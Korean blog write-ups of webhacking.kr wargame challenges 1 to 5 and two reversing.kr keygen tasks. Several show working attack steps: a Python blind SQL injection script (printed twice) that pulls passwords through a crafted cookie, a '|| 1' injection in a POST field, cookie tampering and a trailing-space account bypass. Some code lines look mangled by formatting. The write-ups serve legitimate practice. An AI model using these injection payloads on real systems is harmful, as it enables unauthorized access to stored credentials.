오늘도 어김없이 씁니다. ㅠㅠ


문제를 들어가 보면 아래와 같은 화면이 나옵니다.



우리는 로그인할 아이디가 없음으로 가입을 하러 Join 버튼을 눌러보도록 하죠.




띠용???


그럼 로그인에서 인젝션을 하라는 건가?


로그인으로 넘어가 봅시다.


로그인은 정상적으로 뜨네요ㅎㅎ


아이디, 비밀번호를 넣어 봅시다.


아래와 같이 "Access Denied!"와 함께 "id is admin"이 뜨네요.





다시 아이디를 admin으로 넣어 봅시다.




비밀번호가 틀렸군요. "Wrong password"라고 뜨네요.


여기서 수상한 점을 2가지 찾아야합니다.


우선 join 버튼을 만들어 둔점.


경로를 보면 web-05/mem/login.php 인점.


보통 문제였으면 web-05/login.php 혹은 web-05/index.php 였을텐데..



혹여나 디렉토리 리스팅이 될까 web-05/mem/ 으로 들어가봅니다.



오 디렉토리 리스팅이 되는군요.

(사실 이건 눈속임이에요. index.php에서 분명 출력을ㅎㅎ)


디렉토리 리스팅이 궁금하신 분들은 검색한번 해주세요!



좋습니다.


그럼 join.php가 존재함을 알 수 있네요.


join.php로 접속해 봅시다.


아래와 같이 아무것도 뜨지 않네요.



HTML 소스를 쓱싹 볼까요?




으억 이게 무슨 안구태러일까요?


우리의 친구 jsbeautifier를 사용해봅시다.



특정 조건이 맞지 않으면 access denied 경고 메세지를 띄어주네요.


우리는 그냥 보라색 부분을 자바스크립트 콘솔에 붙여 넣을꺼에요.


분석하기 귀찮자나요ㅎㅎ


개발자도구를 켜서 console 탭에서 다음과 같이 소스를 붙여넣어 줍니다.



엔터를 뽝! 처주면 아래 처럼 검은 화면에서 마법이!!




자 이제 회원가입을 할 수 있게 된 것 같습니다. 


admin으로 가입을 해봅시다!



이럴수가 admin 아이디가 이미 있다고 하네요.


그래서 "admin "으로 가입을 해볼까? 라는 생각을 갖고 가입을 하려고 했지만 maxlength=5가 설정되어 있어서 5글자 이상을 쓰지 못합니다.


이때 우리는 2가지 방법으로 문제를 해결 할 수 있죠.


maxlength 값을 수정해주거나! 프록시 툴을 사용하여 값을 변조해주거나!


개발자 도구를 사용한 김에 아래와 같이 개발자 도구를 사용하여 maxlength 값을 6으로 바꿉니다.



그리고 아래와 같이 "admin "으로 가입을 하니 sign up 성공화면을 볼 수 있었습니다.




이제 가입을 완료 했으니 로그인을 하면 아래 처럼 아무것도 안보이지만 html 소스를 보면 문제를 풀었다고 뜹니다.




정말 자세하게 쓴거 같은데 끝!


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 7번  (0) 2016.11.11
webhacking.kr 6번  (0) 2016.11.10
webhacking.kr 5번  (0) 2016.11.10
webhacking.kr 4번  (0) 2016.11.09
webhacking.kr 3번  (0) 2016.11.09
webhacking.kr 2번  (0) 2016.11.08

4번 문제를 접속하면 아래와 같이 ==으로 끝나는 Base64 인코딩 된 문자열이 나온다.





base32, base64로 인코딩 하는 경우 패딩(바이트 수 맞춰주기)을 위해서 뒤에 ==, = 혹은 아무것도 안붙는 경우가 있다.

(뒤에 ==이 붙은 것을 보고 base64로 인코딩 했구나를 생각할 수 있다.)

 

구글에 "base64 decode online"을 검색하던, python을 사용하던, 문자열을 디코딩 해보자!


python을 사용하는경우 인터프리터 창에


print "".decode('base64')


라고 치면 디코딩 된 문자열이 나온다.


디코딩한 결과는 아래와 같다!




"c4033bff94b567a190e33faa551f411caef444f2" 의 경우 40글자이고 소문자 알파뱃과 숫자로 구성되어 있는게 해쉬 같다.


그러하다!! SHA1 해쉬로 해쉬화 한 것 이다.


여기서 처음 공부하는 분들은 해쉬와, 암호화의 차이를 꼭 알고 넘어가길 바란다.


대표적인 암호화와 해쉬의 차이는 "해쉬는 복호화가 불가능하다."는 점이다. 


 

하지만 해쉬 또한 여러가지 문제가 있다.


레인보우 테이블에 취약하다던지...


따라서 해당 문자열을 


구글에 검색하면 어떤 문자열을 SHA1 했을 때 "c4033bff94b567a190e33faa551f411caef444f2" 이 값이 나오는지 알 수 있다.



결과는 "a94a8fe5ccb19ba61c4c0873d391e987982fbbd3"이다.


마찬가지로 SHA1인거 같아서 다시 구글에 검색을 하면


 


"test"라는 결과가 나온다.


즉 test라는 문자열을 SHA1 알고리즘으로 2번 해쉬화 하고 base64로 인코딩 해주면


문제로 주어진 "YzQwMzNiZmY5NGI1NjdhMTkwZTMzZmFhNTUxZjQxMWNhZWY0NDRmMg==" 문자열이 되는 것이다.



따라서 조금 안전하게 시큐어코딩을 하려면 해쉬를 사용할 때 salt 값을 추가해서 사용해야한다.


password에 test를 넣어주면 아래와 같이 문제가 풀린다.






'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 6번  (0) 2016.11.10
webhacking.kr 5번  (0) 2016.11.10
webhacking.kr 4번  (0) 2016.11.09
webhacking.kr 3번  (0) 2016.11.09
webhacking.kr 2번  (0) 2016.11.08
webhacking.kr 1번  (0) 2016.11.08

문제를 접속하면 Puzzle이 뚜둥 하고 나온다.



어렸을때 많이 해보았던 기억이 있다.

(숫자는 연속되게 색칠 됨을 의미한다.)



퍼즐을 풀면 아래와 같다.




퍼질을 풀고 gogo 버튼을 눌렀을때 틀리면 "No!" 라는 메세지가 출력되며 history.back(-1); 을 하고


맞으면 name을 입력할 수 있는 input text가 나온다.



이름을 쓰면 아래와 같이 입력한 name, answer, ip가 출력된다.




쿠키를 사용하지 않으며 입력했던 값이 지속적으로 남으니 데이터베이스에 insert 하는 것 같다.


name은 대소문자, 숫자 등이 들어간다.


answer 부분은 2진수 처럼 생겼다.



문자를 넣으려면 분명 쿼터를 사용해야하고 SQL 인젝션을 막기 위해 magic_quotes_gpc 혹은 addslashes 함수를 사용 했을꺼라 추측하고


2진수, 숫자, 쿼터가 필요없는 answer 부분을 공략해보았다.



answer 부분에서 역시나 몇몇 문자열을 필터링 했고 아래와 같이 || 를 사용하여 or 연산자의 필터링을 우회 할 수 있었다.



위와 같이 mysql에서 사용되는 비트연산자를 필터링 할 때 각각에 해당하는 특수문자를 사용하여 우회 할 수 있다.





따라서 POST의 파라미터로 전송되는 answer값에 " || 1"을 덧 붙여주면 아래와 같이 answer에 Auth Key가 나온다.


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 6번  (0) 2016.11.10
webhacking.kr 5번  (0) 2016.11.10
webhacking.kr 4번  (0) 2016.11.09
webhacking.kr 3번  (0) 2016.11.09
webhacking.kr 2번  (0) 2016.11.08
webhacking.kr 1번  (0) 2016.11.08

2번문제 처음 접속을 하면 홍길동이 나타난다!



페이지를 살펴보면서 몇 가지 특이사항을 살펴 보자면



1. index.php 페이지의 HTML 소스를 보면 날짜와 시간이 주석으로 출력된다.





2. 쿠키에 time란 값이 존재한다.

(1번과 관련이 있을까?)





3. 게시판이 하나 존재하고 비밀글이 한개가 있다.

(비밀번호를 알아내라는 건가?)





4. admin 페이지가 존재한다.

(admin 비밀번호도 알아내야하나?)




여러개의 특이점을 보고 1번 문제처럼 쿠키를 건들여 볼까? 라는 생각을 갖고 쿠키에 다른 값들을 넣어보자.


쿠키에 있는 time은 왠지 Unix Time Stamp 처럼 생겼다.

(모르면 검색!)


우선 time 값에 아무것도 넣지 않았을 때 아무런 변화가 없다.

혹시 모르니깐 HTML 소스도 보자. 

그대로다.


time 값은 Unix Time Stamp로 정수니깐 0을 넣고 새로고침을 해본다.

아무런 변화가 없다.

HTML 소스도 그대로다.


이번에는 time=1을 넣고 새로고침을 해본다.

아무런 변화가 없다.

HTML 소스코드를 보니 주석으로 시간을 출력해주던 부분의 값이 수상하다!





뜬근 없이 2070년이 나온다. 많이많이 매우매우 수상하다!



특이사항을 볼 때 게시판의 비밀번호, admin 계정의 비밀번호를 알아야 할 것 같은 느낌과 0과 1이 결과가 다르다는걸 파악했을때는?


Blind SQL Injection


을 떠올려야한다.



Cookie에 있는 값도 SQL 쿼리문 안에 들어갈 수 있다. 언제든지 개발자의 마음이니깐~



따라서 아래의 Blind SQL Injection python 스크립트를 통해 게시판의 비밀번호를 알아 낼 수 있다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import urllib2, re
 
result = str()
subqry = "select Password from FreeB0aRd".replace(' ','%20')
 
for i in range(120):
    temp = "0b0"
    for j in range(29):
        param = "(mid(lpad(bin(ord(mid((" + subqry + ")," + str(i) + ",1))),8,0)," + str(j) + ",1))"
        header = {'Cookie':'time=' + param + '; PHPSESSID=jeong0su'}
 
        req = urllib2.Request('http://webhacking.kr/challenge/web/web-02/index.php', headers=header)
        res = urllib2.urlopen(req)
 
        if re.findall("<!--2070-01-01 09:00:01-->", res.read()):
            temp += "1"
        else:
            temp += "0"
 
    result += chr(int(temp, 2))
    print result
 
# result: 7598522ae



게시판에 있는 게시글의 비밀번호는 7598522ae 였다!


게시글을 확인 해본 결과 파일 하나를 주는데 암호가 걸려있다.





admin 페이지를 접속하면 manual.html을 획득 할 수 있는 비밀번호가 있으려나?


아래서의 python 스크립트로 Blind SQL Injection을 통해서 관리자 페이지의 비밀번호를 얻어보자!



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import urllib2, re
 
result = str()
subqry = "select Password from admin".replace(' ','%20')
 
for i in range(120):
    temp = "0b0"
    for j in range(29):
        param = "(mid(lpad(bin(ord(mid((" + subqry + ")," + str(i) + ",1))),8,0)," + str(j) + ",1))"
        header = {'Cookie':'time=' + param + '; PHPSESSID=jeong0su'}
 
        req = urllib2.Request('http://webhacking.kr/challenge/web/web-02/index.php', headers=header)
        res = urllib2.urlopen(req)
 
        if re.findall("<!--2070-01-01 09:00:01-->", res.read()):
            temp += "1"
        else:
            temp += "0"
 
    result += chr(int(temp, 2))
    print result
 
# result: 0nly_admin



admin 페이지의 비밀번호는 0nly_admin이고 접속하면 manual의 비밀번호를 아래와 같이 알려준다.





메뉴얼 패스워드를 압축 비밀번호로 입력하면 압축이 풀리고 html을 브라우저로 열어보면 auth key가 있다!






'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 6번  (0) 2016.11.10
webhacking.kr 5번  (0) 2016.11.10
webhacking.kr 4번  (0) 2016.11.09
webhacking.kr 3번  (0) 2016.11.09
webhacking.kr 2번  (0) 2016.11.08
webhacking.kr 1번  (0) 2016.11.08

문제에 들어가면 검정색 바탕에 뚜둥!

Hint : 쿠키변조

--------------------------------------

php는 서버설정( php.ini, .htaccess )에

따라서 phps로 소스를 확인할 수 있다.

(위 내용은 28번 문제에서 다시보자)



따라서 '/index.phps' 로 접속하여 소스를 확인해보자!

------------------------------------------------------------------------------------


소스를 분석해보자면...



5보다 크면 문제가 풀리지만! 6보다 같거나 크면 user_lv=1이 된다. 


-----------------------------------------------------------------------


문제를 잘보면 힌트가 있다!

숫자 뿐만아니라 .도 사용을 할 수 있기 때문에

소숫점을 생각해볼수가 있다!


 user_lv = 5.5 

다음 같은경우 solve조건에 만족하므로 문제가 풀리게 된다!

------------------------------------------------------


solve

주소창에 아래와같이 입력 후 새로고침하면 쿠키가 변경 

javascript:document.cookie="user_lv=5.5" 



ps. 사실 2014년 11월 19일에 작성한거 가져왔다.

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 6번  (0) 2016.11.10
webhacking.kr 5번  (0) 2016.11.10
webhacking.kr 4번  (0) 2016.11.09
webhacking.kr 3번  (0) 2016.11.09
webhacking.kr 2번  (0) 2016.11.08
webhacking.kr 1번  (0) 2016.11.08

1
2
3
4
5
6
7
8
9
10
11
12
13
def gen_serial(name):
    serial = str()
    for i in range(len(name)):
        serial += hex(ord(name[i])^(0x10*(i%3+1)))[2:]
    return serial
 
def get_name(serial):
    name = str()
    for i in range(len(serial)/2):
        name += hex(int(serial[i*2:(i+1)*2],16)^(0x10*(i%3+1)))[2:].decode('hex')
    return name
 
print get_name("5B134977135E7D13")



'Wargame > reversing.kr' 카테고리의 다른 글

Easy Keygen (100)  (0) 2016.11.02
Position (160)  (0) 2016.11.01

2시간 동안 풀었다.

성환이는 API 사용해서 프루트포싱 했다고 한다.

나는 분석해서 python으로 코드짜서 브포 했다.

뭔가 분석 속도가 살짝 빨라지는 느낌이다.


좀 공부 될만한 것을 보자면 아래와 같다.


  • CSimpleStringT<wchar_t,1>::GetAt : 문자열의 특정 위치 1바이트 가져오기
  • CSimpleStringT<wchar_t,1>::GetBuffer : 그냥 문자열 버퍼?(컴파일러가 만들어 주는 것이라고 생각!)
  • itow_s : 숫자 > 문자열



MFC에서 Text 내용을 가져올 때 GetWindowText 함수를 사용하며 두번째 인자가 Buffer, (Buffer - 12)는 문자열 길이(크기)!



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import itertools
 
def get_seral(name):
    serial = str()
 
    al = ord(name[0])
    ebp_20 = (al & 1+ 5
    ebp_1f = ((al >> 1& 1+ 5
    ebp_1e = ((al >> 2& 1+ 5
    ebp_1d = ((al >> 3& 1+ 5
    ebp_1c = ((al >> 4& 1+ 5
 
    al = ord(name[1])
    ebp_28 = (al & 1+ 1
    ebp_27 = ((al >> 1& 1+ 1
    bl = ((al >> 2& 1+ 1
    ebp_25 = ((al >> 3& 1+ 1
    ebp_24 = ((al >> 4& 1+ 1
 
    serial += str(ebp_20 + bl)
    serial += str(ebp_1d + ebp_25)
    serial += str(ebp_1f + ebp_24)
    serial += str(ebp_1e + ebp_28)
    serial += str(ebp_1c + ebp_27)
 
    serial += '-'
 
    al = ord(name[2])
    ebp_1c = ((al >> 4& 1+ 5
    ebp_1d = ((al >> 3& 1+ 5
    ebp_1e = ((al >> 2& 1+ 5
    ebp_1f = ((al >> 1& 1+ 5
    ebp_20 = (al & 1+ 5
 
    al = ord(name[3])
    ebp_28 = ((al & 1+ 1)
    ebp_27 = ((al >> 1& 1+ 1
    bl = ((al >> 2& 1+ 1
    ebp_25 = ((al >> 3& 1+ 1
    ebp_24 = ((al >> 4& 1+ 1
 
    serial += str(bl + ebp_20)
    serial += str(ebp_1d + ebp_25)
    serial += str(ebp_1f + ebp_24)
    serial += str(ebp_28 + ebp_1e)
    serial += str(ebp_1c + ebp_27)
 
    return serial
 
chars = "abcdefghijklmnopqrstuvwxyz"
min_len, max_len = 33
 
for n in range(min_len, max_len+1):
    for xs in itertools.product(chars, repeat=n):
        bp_str = "".join(xs)
        serial = get_seral(bp_str + 'p')
        if serial == "76876-77776":
            print bp_str + 'p', serial




'Wargame > reversing.kr' 카테고리의 다른 글

Easy Keygen (100)  (0) 2016.11.02
Position (160)  (0) 2016.11.01

+ Recent posts